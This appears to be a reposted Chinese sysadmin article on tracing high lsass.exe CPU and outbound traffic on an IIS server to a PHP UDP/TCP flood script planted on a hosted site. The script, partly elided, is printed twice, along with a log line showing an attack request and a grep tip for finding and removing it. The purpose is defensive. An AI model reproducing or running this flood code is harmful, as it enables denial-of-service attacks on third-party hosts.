Windows服务器上lsass.exe进程CPU使用率异常问题排查方法
程序员文章站
2022-07-09 16:45:26
近期有几台服务器相继出现 lsass.exe 占用cpu过高,也不算太高,而且过了一段时间又会恢复正常,cpu过高直接造成网站打开很慢,周而反复。
在cpu跑高的时候,伴...
近期有几台服务器相继出现 lsass.exe 占用cpu过高,也不算太高,而且过了一段时间又会恢复正常,cpu过高直接造成网站打开很慢,周而反复。
在cpu跑高的时候,伴随着一个现像就是网络的浮动,有时候上传居然达到了30m - 90m/s,对外攻击,第一时间就想到有可能是这个原因,那具体怎么查呢?
常见的对外文件,这东西网上搜一下就能找到。
复制代码 代码如下:
<?php
set_time_limit(86400);
ignore_user_abort(true);
$packets = 0;
$http = $_request['http'];
$rand = $_request['exit'];
$exec_time = $_request['time'];
........
echo $_request['rat'].$_server["http_host"]."|".gethostbyname($_server['server_name'])."|".php_uname()."|".$_server['server_software'].$_request['rat'];
exit;
}
echo "php 2012 terminator";
exit;
}
for($i=0;$i<65535;$i++)
{
$out .= "x";
}
/........
}
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
if($rand==500)
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
?>
set_time_limit(86400);
ignore_user_abort(true);
$packets = 0;
$http = $_request['http'];
$rand = $_request['exit'];
$exec_time = $_request['time'];
........
echo $_request['rat'].$_server["http_host"]."|".gethostbyname($_server['server_name'])."|".php_uname()."|".$_server['server_software'].$_request['rat'];
exit;
}
echo "php 2012 terminator";
exit;
}
for($i=0;$i<65535;$i++)
{
$out .= "x";
}
/........
}
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
if($rand==500)
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
?>
那要如何定位到是哪个站呢?
你可以打开日志
c:\windows\system32\logfiles\httperr\httperr...log,打开今天时间的文件,
里面有类似这样的记录:
复制代码 代码如下:
2011-04-26 06:37:28 58.255.112.112 26817 98.126.247.13 80 http/1.1 get /xxxx/xxxxxx.php?host=122.224.32.100&port=445&time=120 503 783 disabled 30_freehost_1
最后三项 783 disabled 30_freehost_1
783就是这个站在iis中的id
30_freehost_1就是所在池
解决办法:
找到这个站点,接下来想要解决就好办了,如果条件允许,可以直接禁用掉fsockopen这个函数,当然这个大部份情况下是不适用的。
那就去这个站点的根止录下找找吧。
复制代码 代码如下:
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5);
可以借助一些工具,查找上面这句话,或是查找$fp = fsockopen,这样其本上攻击文件就无所遁形了,当然不要删除了正常的邮件发送文件,最后重启下服务,嗯,不卡了。